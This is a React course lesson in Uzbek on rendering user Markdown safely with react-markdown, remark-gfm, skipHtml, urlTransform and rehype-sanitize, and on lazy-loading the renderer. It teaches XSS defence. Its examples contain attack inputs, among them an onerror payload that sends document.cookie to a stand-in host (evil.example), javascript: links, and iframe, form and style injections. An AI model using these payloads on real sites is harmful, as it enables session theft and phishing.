IlmHamroh
JavaScript Full-stack/21-qism. React: media, integratsiyalar, PWA8/32-dars20 daqiqa
Mundarija (29)

Markdown React'da: react-markdown, remark-gfm, xavfsiz render va kech yuklash

Qisqacha: react-markdown Markdown matnni HTML satrga emas, to'g'ridan-to'g'ri React elementlariga aylantiradi. Unda dangerouslySetInnerHTML kerak emas, matn ichidagi <script> esa oddiy harflar bo'lib chiqadi. Plagin remark-gfm jadval, vazifa katakchalari va o'chirilgan matn qo'shadi. Prop components har tegni o'z komponentingizga almashtiradi: havola — yangi tabda, rasm — faqat matn. Prop skipHtml xom HTML'ni butunlay tashlaydi. Ilovamiz vazifalar da vazifa izohi Markdown'da yoziladi: chizuvchi kech chunk (46.1 KB), birinchi yuklash +0.9 KB, e2e'da XSS vektorlari — 0.

Bu darsda

  • react-markdown va remark-gfm bilan Markdown'ni chizasiz.
  • components bilan havola, rasm va katakchalarni o'zingiz boshqarasiz.
  • Xom HTML, javascript: havola va rasm orqali hujumlarni tushuntirasiz va to'sasiz.
  • rehype plaginlari, rehype-sanitize, MDX va markdown-to-jsx qachon kerakligini bilasiz.
  • vazifalar ga Markdown izoh qo'shasiz: kech yuklash, fokus va a11y bilan.

Oldin bilishingiz kerak: Frontend xavfsizligi React'da, XSS va DOM xavfsizligi, lazy va code splitting, Zustand II: middleware, Xaritalar II.

1. Nega bu kerak?

O'tgan darsda xarita, kalit va limitlar bilan ishladik. Endi vazifalar ga qaytamiz. Sardor vazifalarga izoh yozmoqchi: "Bozor: ertalab, ro'yxat — non, sut". Oddiy matn maydoni bor, lekin qalin so'z, ro'yxat yoki havola yo'q.

Markdown — oddiy matnda formatlash belgilari: **qalin**, _kursiv_, - ro'yxat, [havola](manzil). GitHub, Telegram, Notion, ChatGPT javoblari — hammasi shu tilda. Bu kursning darslari ham Markdown'da yozilgan.

Markdown'ni HTML'ga aylantirish oson ko'rinadi: kutubxona HTML satr beradi, uni dangerouslySetInnerHTML ga qo'yasiz. Lekin Frontend xavfsizligi darsini eslang: foydalanuvchi matni + innerHTML = XSS. Va vazifalar da Trusted Types bunday satrni umuman o'tkazmaydi.

Hayotiy o'xshatish: tarjimon. Birinchi yo'l — matnni tarjima qilib, tayyor nutqni boshqa odamga o'qitish: u ichidagi har buyruqni ham bajaradi. Ikkinchi yo'l — tarjimonning o'zi har gapni tekshirib, faqat ruxsat etilganini aytadi. react-markdown — ikkinchi tarjimon.

2. react-markdown: matndan React elementlari

2.1 Birinchi Markdown

Kanon versiyalari: react-markdown 10.1.0, remark-gfm 4.0.1. Natija oynasida ikkalasi ham bor.

bash
npm i -E react-markdown@10.1.0 remark-gfm@4.0.1
jsx
import Markdown from "react-markdown";

const note = `**Bozor**: _ertalab_ \`8:00\`

- non
- sut

Batafsil: [ro'yxat](https://example.com/royxat)`;

export default function App() {
  return <Markdown>{note}</Markdown>;
}

Ekranda:

text
Bozor: ertalab 8:00
non
sut
Batafsil: ro'yxat

Markdown matn children sifatida beriladi. Natija — haqiqiy React elementlari: <p>, <strong>, <em>, <code>, <ul>, <a>. DevTools'da ularni ko'rasiz, lekin hech qayerda innerHTML yo'q.

2.2 Ichkarida: matn → daraxt → React

react-markdown — unified ekotizimining bir qismi. Matn bir necha bosqichda o'zgaradi va har bosqichda plagin qo'shish mumkin:

flowchart LR
  M["Markdown matn"] --> R["remark: mdast daraxti"]
  R --> RP["remark plaginlari (gfm)"]
  RP --> H["hast: HTML daraxti"]
  H --> HP["rehype plaginlari"]
  HP --> E["React elementlari"]

mdast — Markdown'ning AST daraxti. Masalan: "bu yerda ro'yxat, uning ichida 2 band". hast — HTML daraxti. remark plaginlari Markdown bosqichida ishlaydi (yangi sintaksis qo'shadi), rehype plaginlari — HTML bosqichida (teglarni o'zgartiradi, tozalaydi, kodni yoritadi).

Diagrammaning oxirgi o'qiga qarang: daraxt HTML satrga emas, React elementlariga aylanadi. Shu tufayli matndagi <script> hech qachon skript bo'lmaydi — u daraxtda oddiy matn tuguni.

3. remark-gfm: GitHub uslubidagi Markdown

Asl Markdown standarti (CommonMark) da jadval va katakcha yo'q. GFM (GitHub Flavored Markdown) ularni qo'shadi. react-markdown'ga remark-gfm plagini kerak:

jsx
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";

const note = `| Taom | Narx |
| --- | ---: |
| Osh | 35 000 |
| Manti | 30 000 |

- [x] non
- [ ] sut

~~Lag'mon~~ tugadi. Sayt: https://example.com`;

export default function App() {
  return <Markdown remarkPlugins={[remarkGfm]}>{note}</Markdown>;
}

Ekranda:

text
Taom Narx
Osh 35 000
Manti 30 000
non
sut
Lag'mon tugadi. Sayt: https://example.com

To'rt yangi narsa: jadval (---: — ustun o'ngga tekislanadi), vazifa katakchalari (- [x]), o'chirilgan matn (~~…~~ → <del>) va avtohavola (https://… o'zi havolaga aylanadi). Plaginsiz - [x] non — oddiy matnli ro'yxat bandi bo'lib qolardi.

Katakchalar disabled — faqat ko'rsatish uchun, bosib bo'lmaydi. Lekin ularning nomi yo'q: ekran o'quvchi "katakcha, belgilangan" deydi, nima belgilangani aytilmaydi. Kanonda axe aynan shuni topdi (keyinroq «Vazifalar qadami» da).

Tekshirib ko'ring: Sardor izohga 2 * 3 * 4 = 24 deb yozdi. Ekranda 2 3 4 = 24, o'rtadagi 3 esa kursivda chiqdi. Nega?

Javob

Markdown'da *matn* — kursiv. * 3 * orasidagi qism kursivga aylandi, yulduzchalar esa belgi sifatida "yeyildi". Davosi — teskari chiziq bilan ekranlash: 2 \* 3 \* 4, yoki ifodani kod qilib yozish: `2 * 3 * 4`. Foydalanuvchiga yordam matnida bu haqda ayting — formatlash tilining tabiiy tuzog'i.

4. components: har tegni o'zingiz chizasiz

components prop — teg nomi → o'z komponentingiz xaritasi. react-markdown <a> chizish o'rniga sizning funksiyangizni chaqiradi va unga xususiyatlarni beradi (href, children…):

jsx
import { useEffect } from "react";
import Markdown from "react-markdown";

const note = `# Xarid
[Bozor xaritasi](https://example.com/joy) va
![chek rasmi](https://example.com/chek.png)`;

const components = {
  h1: "h2", // sarlavha darajasini pasaytiramiz
  a: ({ href, children }) => (
    <a href={href} target="_blank" rel="noopener noreferrer nofollow">
      {children}
    </a>
  ),
  img: ({ alt }) => <span>[{alt}]</span>,
};

export default function App() {
  useEffect(() => {
    const a = document.querySelector("a");
    console.log(a.target, a.rel);
    console.log(document.querySelectorAll("h1, img").length);
  }, []);
  return <Markdown components={components}>{note}</Markdown>;
}

Konsolda:

text
_blank noopener noreferrer nofollow
0

Ekranda:

text
Xarid
Bozor xaritasi va [chek rasmi]

Uchta almashtirish:

  1. h1: "h2" — satr berilsa, boshqa teg bilan chiziladi. Sahifada <h1> bitta bo'lishi kerak (semantik sarlavhalar). Foydalanuvchi izohidagi # sahifa sarlavhasi bilan raqobatlashmasin.
  2. a — har havola yangi tabda. rel="noopener noreferrer nofollow": yangi tab sizning sahifangizni boshqara olmaydi, manzil yuborilmaydi va qidiruvchi foydalanuvchi havolasiga "ishonch" bermaydi (spam).
  3. img — rasm o'rniga uning alt matni. Nega? Keyingi bo'limda.

Teskari yo'l ham bor: allowedElements (faqat shu teglar) yoki disallowedElements (shu teglar chiqmasin). Oq ro'yxat — xavfsizroq.

5. Xavfsizlik: Markdown orqali hujum

5.1 Xom HTML: sukut, skipHtml

Markdown ichida HTML yozish mumkin — standart shunday. Hujumchi izohga yozadi:

text
<img src=x onerror="fetch('//evil.example/?c=' + document.cookie)">

react-markdown buni nima qiladi? Sinab ko'ramiz:

jsx
import Markdown from "react-markdown";

const note = `Salom <b>qalin</b>

<img src=x onerror="alert(1)">`;

export default function App() {
  return (
    <>
      <Markdown>{note}</Markdown>
      <hr />
      <Markdown skipHtml>{note}</Markdown>
    </>
  );
}

Ekranda:

text
Salom <b>qalin</b>
<img src=x onerror="alert(1)">
Salom qalin

Sukut bo'yicha xom HTML matn bo'lib chiqadi — burchak qavslari bilan, ekranlangan. Hech narsa bajarilmadi. skipHtml bilan teglar umuman tashlandi: <b> ning ichidagi "qalin" so'zi qoldi, <img> qatori — bo'm-bo'sh. Foydalanuvchi uchun bu toza ko'rinadi: kod parchalari ekranga "sochilmaydi".

5.2 javascript: havola

Ikkinchi hujum — havola manzilida skript:

jsx
import { useEffect } from "react";
import Markdown from "react-markdown";

const note =
  "[Chegirma!](javascript:alert(1)) va [menyu](https://example.com)";

export default function App() {
  useEffect(() => {
    for (const a of document.querySelectorAll("a")) {
      const href = a.getAttribute("href");
      console.log(a.textContent, JSON.stringify(href));
    }
  }, []);
  return <Markdown>{note}</Markdown>;
}

Konsolda:

text
Chegirma! ""
menyu "https://example.com"

react-markdown'ning urlTransform funksiyasi (sukut — defaultUrlTransform) har manzilni tekshiradi: http, https, mailto va boshqa xavfsiz protokollar o'tadi, javascript: — bo'sh satrga aylanadi. Havola matni qoladi, bosilsa hech narsa bo'lmaydi.

5.3 Rasm — ko'rinmas tahdid

Rasmni ruxsat etsak: ![ ](https://evil.example/pixel.png?id=sardor). Har kim izohni ochganda brauzer o'sha serverga so'rov yuboradi — IP, vaqt, brauzer. Bu — kuzatish pikseli. Ikkinchi muammo — CSP: vazifalar da img-src 'self', tashqi rasm buzilish beradi. Shuning uchun kanon rasmni [alt] matniga almashtirdi (yuqoridagi components.img).

5.4 rehype-raw va rehype-sanitize

Ba'zan HTML haqiqatan kerak — masalan, CMS'dan kelgan maqolada details tegi yoki <kbd>. Buning uchun rehype-raw plagini xom HTML'ni daraxtga "ochadi". Lekin u faqat ishonchli manba uchun. Biz react-markdown 10.1.0, rehype-raw 7.0.0 va rehype-sanitize 6.0.0 ni Node 24 da renderToStaticMarkup bilan sinadik. Kirish — beshta hujum:

text
<a href="javascript:alert(1)">bos</a> <iframe src="https://example.com"></iframe>
<style>body{display:none}</style> <form action="https://example.com"><button>Yubor</button></form>
<img src=x onerror="alert(1)">

Faqat rehype-raw bilan chiqish (qisqartirilgan):

text
<a href="">bos</a> <iframe src="https://example.com"></iframe> <style>body{display:none}</style>
<form action="https://example.com"><button>Yubor</button></form> <img src="x"/>

javascript: va onerror tushib qoldi, lekin uchtasi o'tdi. <iframe> — begona sayt sahifangiz ichida. <style>body{display:none}</style> — butun sahifani yashiradi. <form> — "Yubor" tugmasi ma'lumotni hujumchi serveriga jo'natadi (fishing).

rehype-raw + rehype-sanitize bilan:

text
<a>bos</a>  body{display:none} Yubor <img src="x"/>

iframe, style, form, button teglari olib tashlandi — ichidagi matn qoldi. Havola manzilsiz. Sanitize sukut sxemasi (GitHub qoidalariga asoslangan) 53 ta tegga ruxsat beradi, havola protokollari — http, https, irc, ircs, mailto, xmpp.

Kod — sanitize har doim raw'dan keyin:

tsx
import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize";

<Markdown rehypePlugins={[rehypeRaw, rehypeSanitize]}>
  {article}
</Markdown>;

Qoida oddiy: foydalanuvchi matni → skipHtml (yoki sukut). Ishonchli kontent, HTML kerak → rehype-raw + rehype-sanitize. Faqat rehype-raw — hech qachon foydalanuvchi matni bilan.

Tekshirib ko'ring: Hamkasbingiz aytdi: "React matnni ekranlaydi, shuning uchun react-markdown bilan har qanday plagin xavfsiz". To'g'rimi?

Javob

Yo'q. React matn tugunlarini ekranlaydi, lekin rehype-raw HTML'ni haqiqiy elementlarga aylantiradi — <iframe>, <form>, <style> endi matn emas, React ularni oddiy teg kabi chizadi. Sinovimizda aynan shular o'tdi. Xavfsizlik plaginlar tartibiga bog'liq: raw dan keyin sanitize, yoki raw umuman yo'q.

6. Kech yuklash: Markdown faqat kerak bo'lganda

react-markdown + remark-gfm — og'ir. Kanon tajribasida (faqat React'dan ortig'i) react-markdown — +45.1 KB gzip. vazifalar da izoh chunk'i 46.1 KB. Bu birinchi yuklashning beshdan biriga yaqin, izoh esa hamma vazifada ham yo'q.

Yechim — chizuvchini lazy bilan alohida chunk qilish. U kelguncha — xom matn. Natija oynasida dinamik import() yo'q, shuning uchun kechikishni Promise bilan taqlid qilamiz:

jsx
import { lazy, Suspense } from "react";
import Markdown from "react-markdown";

// haqiqiy loyihada: lazy(() => import("./NoteView.jsx"))
const NoteView = lazy(
  () =>
    new Promise((resolve) =>
      setTimeout(
        () =>
          resolve({
            default: ({ text }) => <Markdown>{text}</Markdown>,
          }),
        300,
      ),
    ),
);

const text = "**Bozor**: _ertalab_";

export default function App() {
  return (
    <section>
      <h3>Izoh</h3>
      <Suspense fallback={<p className="raw">{text}</p>}>
        <NoteView text={text} />
      </Suspense>
    </section>
  );
}

Ekranda:

text
Izoh
Bozor: ertalab

Avval (ekran qadami tekshirdi) — **Bozor**: _ertalab_ xom ko'rinishda, 300 ms dan keyin — formatlangan. Fallback sifatida spinner emas, xom matn: o'quvchi kutmasdan o'qiydi, sahifa ham sakramaydi — matn uzunligi deyarli bir xil. Kanonda white-space: pre-wrap bilan qator ko'chishlari ham saqlanadi.

7. Muqobillar: markdown-to-jsx, marked + DOMPurify, MDX

Kanon uchta Markdown kutubxonasini bir xil xavfli matn bilan, vazifalar CSP'si va Trusted Types ostida o'lchadi (kutubxonalar-21.txt):

Kutubxona JS (React'dan tashqari) CSP / TT XSS elementi
react-markdown + remark-gfm +45.1 KB 0 yo'q
markdown-to-jsx 9.10.3 +27.7 KB 0 yo'q
marked 18.1.0 + DOMPurify 3.4.16 +23.4 KB 5 buzilish — (chizilmadi)
  • markdown-to-jsx — yengilroq, bitta paket, ham React elementlari beradi. Plagin ekotizimi (remark/rehype) yo'q. GFM'ning ko'p qismi ichida.
  • marked + DOMPurify — eng kichik, lekin HTML satr beradi va dangerouslySetInnerHTML talab qiladi. vazifalar da ikki joyda yiqildi: DOMPurify o'zining dompurify nomli TT siyosatini yaratmoqchi bo'ldi (trusted-types vazifalar ruxsat bermaydi), keyin innerHTML — TrustedHTML talabi. Bu juftlik Trusted Types'siz loyihalarda, server tomonida (masalan, Node'da HTML yasashda) qulay.
  • MDX (@mdx-js/mdx, @mdx-js/react) — Markdown ichida JSX: <Chart data={…} />. MDX kompilyatsiya qilinadi — u kod, matn emas. Hujjatlar sayti, blog, kurs darslari uchun. Foydalanuvchi kiritgan matnni hech qachon MDX qilib bajarmang — bu unga sizning sahifangizda istalgan JS yozishga ruxsat berish. MDX'ni Next.js qismida ishlatamiz.

8. Vazifalar qadami: vazifa izohi (holat 08)

8.1 Nima o'zgaradi

bash
git switch -c feat/izoh-markdown
npm i -E react-markdown@10.1.0 remark-gfm@4.0.1

Yangi papka src/xususiyatlar/izoh/ (xususiyat papkalari):

Fayl Vazifasi
izoh-holati.ts Zustand store, persist — localStorage ("vazifalar:izohlar"), ≤ 2000 belgi
VazifaIzohi.tsx vazifa sahifasidagi bo'lim: ko'rinish yoki <textarea>
IzohKorinishi.tsx Markdown chizuvchi — kech chunk
index.ts ochiq API: faqat VazifaIzohi

Va vazifa sahifasiga ikki qator (kanon):

diff
+import { VazifaIzohi } from "../xususiyatlar/izoh/index.ts";
 ...
+      {/* 21/#08: izoh (Markdown) — shu brauzerda */}
+      <VazifaIzohi id={vazifa.id} />

8.2 Chizuvchi: IzohKorinishi.tsx

Kanon fayli — kod aynan. Bosh izohdagi ~ +NN KB qatori kanonda to'ldirilmay qolgan — biz uni o'lchangan raqam bilan almashtirdik (izoh qatori, kod emas):

tsx
// IzohKorinishi.tsx — izoh Markdown'dan React elementlariga (21/#08).
// Alohida chunk (VazifaIzohi'da lazy): react-markdown + remark-gfm
// ~46 KB gzip — faqat izohi bor vazifa sahifasida yuklanadi.
// XAVFSIZLIK: react-markdown HTML satr yasamaydi (dangerouslySetInnerHTML
// yo'q — Trusted Types siyosati o'zgarmaydi). Qo'shimcha:
//  - skipHtml: Markdown ichidagi xom HTML (<img onerror=…>, <script>)
//    umuman chizilmaydi (matn sifatida ham)
//  - urlTransform (standart): javascript:, data: … havolalar bo'shatiladi
//  - rasm yo'q: tashqi rasm — kuzatish pikseli va CSP (img-src 'self')
//    buzilishi; o'rnida alt matni ([rasm]) qoladi
//  - havolalar yangi tabda, rel="noopener noreferrer nofollow"
import Markdown from "react-markdown";
import type { Components } from "react-markdown";
import remarkGfm from "remark-gfm";

const KOMPONENTLAR: Components = {
  // GFM "- [x] …" — o'qish uchun katak (o'zgarmaydi): axe "label" (21/#08
  // a11y o'lchovi topdi) — nomsiz katak; holati nomda
  input: ({ type, checked }) =>
    type === "checkbox" ? (
      <input
        type="checkbox"
        checked={checked ?? false}
        disabled
        aria-label={checked ? "bajarilgan" : "bajarilmagan"}
      />
    ) : null,
  img: ({ alt }) => <span className="izoh-rasm">[{alt}]</span>,
  a: ({ href, children }) => (
    <a href={href} target="_blank" rel="noopener noreferrer nofollow">
      {children}
    </a>
  ),
};

export default function IzohKorinishi({ matn }: { matn: string }) {
  return (
    <div className="izoh-matni">
      <Markdown
        remarkPlugins={[remarkGfm]}
        skipHtml
        components={KOMPONENTLAR}
      >
        {matn}
      </Markdown>
    </div>
  );
}

Endi uni e2e ssenariydagi hujumli matn bilan ishga tushiramiz (kanon e2e-21.mjs dagi MATN — window.__xss ni alert ga almashtirdik):

tsx
import { useEffect } from "react";

const MATN = [
  "**Bozor**: _ertalab_ `8:00`",
  "",
  "- [x] non",
  "- [ ] sut",
  "",
  "[Xarita](https://example.com/joy) [yomon](javascript:alert(1))",
  "![rasm](https://example.com/p.png)",
  "",
  '<img src=x onerror="alert(1)"> <script>alert(2)</script>',
].join("\n");

export default function Sinov() {
  useEffect(() => {
    const m = document.querySelector(".izoh-matni")!;
    const boxes = [...m.querySelectorAll("input")];
    console.log(boxes.map((b) => b.getAttribute("aria-label")));
    console.log(m.querySelectorAll("img, script").length);
    const href = m.querySelectorAll("a")[1].getAttribute("href");
    console.log(JSON.stringify(href));
  }, []);
  return <IzohKorinishi matn={MATN} />;
}

Konsolda:

text
(2) ['bajarilgan', 'bajarilmagan']
0
""

Ekranda:

text
Bozor: ertalab 8:00
non
sut
Xarita yomon [rasm]
alert(2)

Uchinchi qator — yomon havolasining href i: bo'sh satr (JSON.stringify qo'shtirnoqlarni ko'rsatish uchun). Rasm — [rasm], <img> va <script> elementlari — 0. Oxirgi qatorga qarang: alert(2) — matn. skipHtml teglarni tashladi (<script> va </script> alohida), ular orasidagi so'z esa oddiy matn bo'lib qoldi. U hech qachon bajarilmaydi — xuddi «Xom HTML» bo'limidagi "qalin" so'zi kabi. Bu qoldiq matnni biz shu blokda topdik; kanon e2e'si uni tekshirmaydi — u faqat kod ishlamaganini va <script> elementi yo'qligini tasdiqlaydi. Katakchalar endi nomli: Malika "bajarilgan, katakcha" ni eshitadi.

8.3 Muharrir: VazifaIzohi.tsx (asosiy qismi)

To'liq fayl kanonda. Muhim qatorlar:

tsx
const IzohKorinishi = lazy(() => import("./IzohKorinishi.tsx"));

  // Forma yopiladi — fokus u bilan yo'qolardi (<body> ga; e2e topdi).
  // flushSync: tugma DOM'ga qaytgach darhol unga fokus
  function yop() {
    flushSync(() => setTahrir(null));
    tahrirTugmasi.current?.focus();
  }
...
            // Kelguncha — xom matn (bo'sh joy saqlanadi): sakrash kam
            <Suspense fallback={<p className="izoh-xom">{izoh}</p>}>
              <IzohKorinishi matn={izoh} />
            </Suspense>
...
            <textarea
              id="izoh-matn"
              rows={6}
              maxLength={IZOH_MAKS}
              value={tahrir}
              aria-describedby="izoh-yordam"
              autoFocus
              onChange={(event) => setTahrir(event.target.value)}
              onKeyDown={(event) => {
                if (event.key === "Escape") {
                  yop();
                }
              }}
            />
            <small id="izoh-yordam">
              **qalin**, _kursiv_, `kod`, - ro'yxat, - [ ] vazifa,
              [havola](https://…). HTML va rasm ko'rsatilmaydi.
            </small>

Uch qaror:

  1. Tahrir — oddiy <textarea>, rich text muharrir emas. Keyingi ikki darsda Tiptap va Lexical'ni o'lchaymiz — bitta maydon uchun ular ortiqcha bo'lib chiqdi.
  2. Fokus. Forma yopilganda "Izohni tahrirlash" tugmasi qayta paydo bo'ladi. Oddiy setTahrir(null) dan keyin focus() — tugma hali DOM'da yo'q. e2e buni topdi: fokus <body> ga tushardi. flushSync React'ni darhol chizishga majbur qiladi — keyingi qatorda tugma bor.
  3. Yordam matni aria-describedby bilan bog'langan: ekran o'quvchi maydonga kirganda "HTML va rasm ko'rsatilmaydi" ni ham o'qiydi.

8.4 Saqlash: izoh-holati.ts

tsx
export const IZOH_MAKS = 2000;
const IZOHLAR_KALITI = "vazifalar:izohlar";
...
      izohniYoz: (id, matn) =>
        set((h) => {
          const qolgan = Object.fromEntries(
            Object.entries(h.izohlar).filter(([k]) => k !== String(id)),
          );
          const toza = matn.trim().slice(0, IZOH_MAKS);
          return {
            izohlar: toza === "" ? qolgan : { ...qolgan, [id]: toza },
          };
        }),
...
// Boshqa tabda izoh o'zgardi — qayta o'qiymiz (sozlamalar kabi, 19/#22)
addEventListener("storage", (event) => {
  if (event.key === IZOHLAR_KALITI) {
    void useIzohlar.persist.rehydrate();
  }
});

Izoh — faqat shu brauzerda. Sabab kanon fayli izohida: «Bahor» mashq API'si faqat matn, bajarildi va teglar maydonlarini qabul qiladi. Bo'sh izoh — o'chirish. Uzunlik ikki joyda cheklangan: maxLength (forma) va slice (store — boshqa yo'l bilan kelgan matn uchun ham). Boshqa tabdagi o'zgarish storage hodisasi bilan keladi (Zustand II).

Bu cheklov TEXNIK-QARZ.md da 63-band: izoh eksportga kirmaydi, vazifa o'chirilsa izoh qoladi; yechim — 25-qismda o'z backend'imizda izoh maydoni.

8.5 Tekshiruv va narx

Haqiqiy natijalar (holat 08, tekshiruv-08.txt, natija-21-08.txt):

  • npm test — node:test 221, Vitest 65; lint, format:check, tip, knip — exit 0.
  • Birinchi yuklash JS 219.6 → 220.5 KB gzip (+0.9: forma va store), CSS 4.8 → 4.9.
  • Kech chunk IzohKorinishi — 46.1 KB gzip, faqat izohi bor vazifada.
  • axe — 0 buzilish, yangi ko'rinish "vazifa sahifasi (izoh, Markdown)" — 40 qoida o'tdi.
  • e2e-21 — 31 ta, izohga oidlari (xom chiqishdan):
text
✅ izoh yo'q: matn, tugma; Markdown chunk yuklanmagan: ["Izoh Izoh yo'q. Izoh qo'shish",false]
✅ Markdown: qalin, kursiv, kod, ro'yxat, 2 belgi katak: [1,1,1,1,2]
✅ havolalar: yangi tab + rel; javascript: — manzilsiz: [["Xarita","https://example.com/joy","_blank","noopener noreferrer nofollow"],["yomon","","_blank","noopener noreferrer nofollow"]]
✅ XSS: img/script yo'q, on* atribut yo'q, kod ishlamadi; rasm o'rnida matni: [[0,0,0],true]
✅ saqlangach fokus «Izohni tahrirlash» da, chunk yuklandi: ["izoh-tahrirla",true]
✅ izoh: CSP buzilishi yo'q: []

Birinchi qatorga qarang: izohi yo'q vazifada Markdown chunk yuklanmagan (false). To'rtinchi qator — XSS: <img>, <script>, on* atributlar — 0, window.__xss o'rnatilmagan.

bash
git add -A
git commit

Commit (kanon): feat: vazifa izohi — Markdown (react-markdown, skipHtml), shu brauzerda.

9. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
jadval va - [x] oddiy matn bo'lib chiqdi remark-gfm ulanmagan remarkPlugins={[remarkGfm]}
izohdagi # sahifa sarlavhasidan katta h1 o'zgarmagan components={{ h1: "h2" }}
havola o'z sahifangiz o'rnida ochiladi sukut <a> components.a + target, rel
tashqi rasm — CSP buzilishi img-src 'self' img → [alt] yoki ruxsat ro'yxati
<iframe>, <style> sahifada paydo bo'ldi rehype-raw sanitize'siz rehypeSanitize raw'dan keyin
dangerouslySetInnerHTML + marked — TT xatosi HTML satr react-markdown yoki TT siyosati
fokus <body> ga tushadi element hali chizilmagan flushSync + ref
katakcha nomsiz (axe "label") GFM <input> components.input + aria-label
2 * 3 * 4 da kursiv * — formatlash belgisi \* yoki `kod`

10. Mashqlar

Mashqlar kurs/mashqlar/21/08-markdown/ da. Jonli yechimlarni «Ishga tushir» bilan sinang.

1-mashq (oson): bo'sh joylarni to'ldiring

  • Jadval va katakchalar uchun plagin:
  • Xom HTML'ni butunlay tashlaydigan prop:
  • Har tegni o'z komponentingizga almashtiruvchi prop:
  • Xom HTML'ni yoqadigan plagindan keyin albatta:
  • Foydalanuvchi matni uchun hech qachon ishlatilmaydigan format:
Yechim
  • remark-gfm — GFM: jadval, - [x], ~~…~~, avtohavola.
  • skipHtml — teglar matn sifatida ham chiqmaydi.
  • components — { a: …, img: …, h1: "h2" }.
  • rehype-sanitize — rehype-raw dan keyin, oq ro'yxat bilan tozalaydi.
  • MDX — kompilyatsiya qilinadigan kod; foydalanuvchiga JS yozish huquqini beradi.

2-mashq (o'rta): ruxsat etilgan teglar

Kommentariya formasi uchun Markdown: faqat paragraf, qalin, kursiv, kod va havola. Ro'yxat, sarlavha, jadval — o'z mazmunini saqlagan holda oddiy matnga aylansin. Sinov matni: # Zo'r! va - **osh** — _issiq_.

Ishora: allowedElements va unwrapDisallowed (ruxsatsiz teg tashlanadi, ichi qoladi).

Yechim
jsx
import Markdown from "react-markdown";

const comment = `# Zo'r!

- **osh** — _issiq_`;

export default function App() {
  return (
    <Markdown
      allowedElements={["p", "strong", "em", "code", "a"]}
      unwrapDisallowed
    >
      {comment}
    </Markdown>
  );
}

Ekranda:

text
Zo'r! osh — issiq

h1, ul va li ruxsat ro'yxatida yo'q — unwrapDisallowed ularni tashladi, ichidagi matn va ruxsat etilgan strong, em qoldi. Blok teglar yo'qolgani uchun ikkala qator bitta qatorga qo'shilib ketdi — izoh uchun bu normal. unwrapDisallowed siz sarlavha va ro'yxat butunlay yo'qolardi — foydalanuvchi yozganining yarmini ko'rmasdi.

3-mashq (qiyin): Markdown'dan mundarija

Uzun izohlar uchun mundarija: ## bilan boshlangan sarlavhalardan havolalar ro'yxati. components.h2 da har sarlavhaga id bering (slug: kichik harf, bo'shliq → -), tepada esa o'sha id larga havolalar.

Ishora: sarlavhalarni matndan muntazam ifoda bilan oling: /^## (.+)$/gm. children — oddiy satr deb hisoblang.

Yechim
jsx
import Markdown from "react-markdown";

const note = `## Bozor ro'yxati
non, sut

## Uy ishlari
kir yuvish`;

const slug = (s) => s.toLowerCase().replace(/[^a-z0-9']+/g, "-");
const titles = [...note.matchAll(/^## (.+)$/gm)].map((m) => m[1]);

export default function App() {
  return (
    <article>
      <nav aria-label="Mundarija">
        {titles.map((t) => (
          <a key={t} href={`#${slug(t)}`}>
            {t}{" "}
          </a>
        ))}
      </nav>
      <Markdown
        components={{
          h2: ({ children }) => (
            <h2 id={slug(String(children))}>{children}</h2>
          ),
        }}
      >
        {note}
      </Markdown>
    </article>
  );
}

Ekranda:

text
Bozor ro'yxati Uy ishlari
Bozor ro'yxati
non, sut
Uy ishlari
kir yuvish

Havolalar #bozor-ro'yxati va #uy-ishlari ga, sarlavhalarda aynan shu id. Ikki joyda bir xil slug funksiyasi ishlatilgani uchun ular mos keladi. Haqiqiy loyihada bu ishni rehype-slug plagini qiladi (lotin bo'lmagan harflar va takror sarlavhalar bilan ham).

4-mashq: Vazifalar qadami

feat/izoh-markdown branch'ida «Vazifalar qadami» dagi o'zgarishlarni qiling: xususiyatlar/izoh/ (to'rt fayl), vazifa sahifasiga VazifaIzohi, asos.css ga izoh stillari. Keyin e2e'dagi hujumli matnni izohga qo'yib, o'zingiz tekshiring.

Yechim

Tekshiruv ro'yxati:

  • npm test — node 221, Vitest 65; npm run tip, lint, knip — toza.
  • Izohsiz vazifa: DevTools Network'da IzohKorinishi-*.js yuklanmaydi; izoh qo'shilgach — yuklanadi.
  • Hujumli matn: <img>, <script> yo'q, javascript: havolasining href i bo'sh, rasm o'rnida [rasm].
  • Klaviatura: "Izoh qo'shish" → maydonda fokus → Esc → fokus tugmaga qaytadi.
  • npm run build: birinchi yuklash ~220.5 KB, IzohKorinishi ~46 KB gzip.

11. Real ishda

  • Kommentariya, chat, forum — foydalanuvchi Markdown yozadi, sayt xavfsiz chizadi. GitHub, Discourse, Telegram — shu g'oya.
  • AI chat javoblari — model Markdown qaytaradi; AI chat darsida vazifalar dagi yordamchi xuddi shu chizuvchini ishlatadi.
  • Hujjat va blog saytlari — MDX, build vaqtida; kod bloklari yoritiladi (keyingi dars).
  • CMS — muharrir HTML yoki Markdown saqlaydi; ko'rsatishda — sanitize.
  • Intervyu savollari: "Markdown'ni React'da qanday xavfsiz chizasiz?", "rehype-raw nega xavfli?", "javascript: havolani qanday to'sasiz?", "og'ir kutubxonani faqat kerak bo'lganda qanday yuklaysiz?".

Xulosa

  • react-markdown — matn → mdast → hast → React elementlari; innerHTML yo'q, Trusted Types bilan mos.
  • remark-gfm — jadval, katakcha, ~~…~~, avtohavola; katakchaga nom bering.
  • components — teglarni almashtirish (h1: "h2", havolaga rel, rasm → [alt]); allowedElements — oq ro'yxat.
  • Foydalanuvchi matni: sukut yoki skipHtml; urlTransform javascript: ni bo'shatadi. HTML kerak bo'lsa — rehype-raw + rehype-sanitize, hech qachon yolg'iz raw.
  • marked + DOMPurify — satr va innerHTML (TT'da yiqildi); MDX — kod, foydalanuvchi matni uchun emas.
  • vazifalar: izoh — lazy chunk 46.1 KB, fallback — xom matn, fokus flushSync bilan, saqlash — shu brauzerda (TEXNIK-QARZ 63).

Keyingi dars: Kod bloklari va sintaksis yoritish — Markdown'dagi ``` bloklarini Prism va Shiki bilan rangli qilamiz, nusxalash tugmasi va qator raqamlarini qo'shamiz.

Manbalar

  • react-markdown 10: README (components, skipHtml, allowedElements, unwrapDisallowed, urlTransform, "Security") — github.com/remarkjs/react-markdown
  • remark-gfm 4, rehype-raw 7, rehype-sanitize 6 (defaultSchema) — github.com/remarkjs, github.com/rehypejs
  • unified: mdast, hast — unifiedjs.com
  • GitHub Flavored Markdown Spec — github.github.com/gfm
  • MDX — mdxjs.com; markdown-to-jsx — github.com/quantizor/markdown-to-jsx
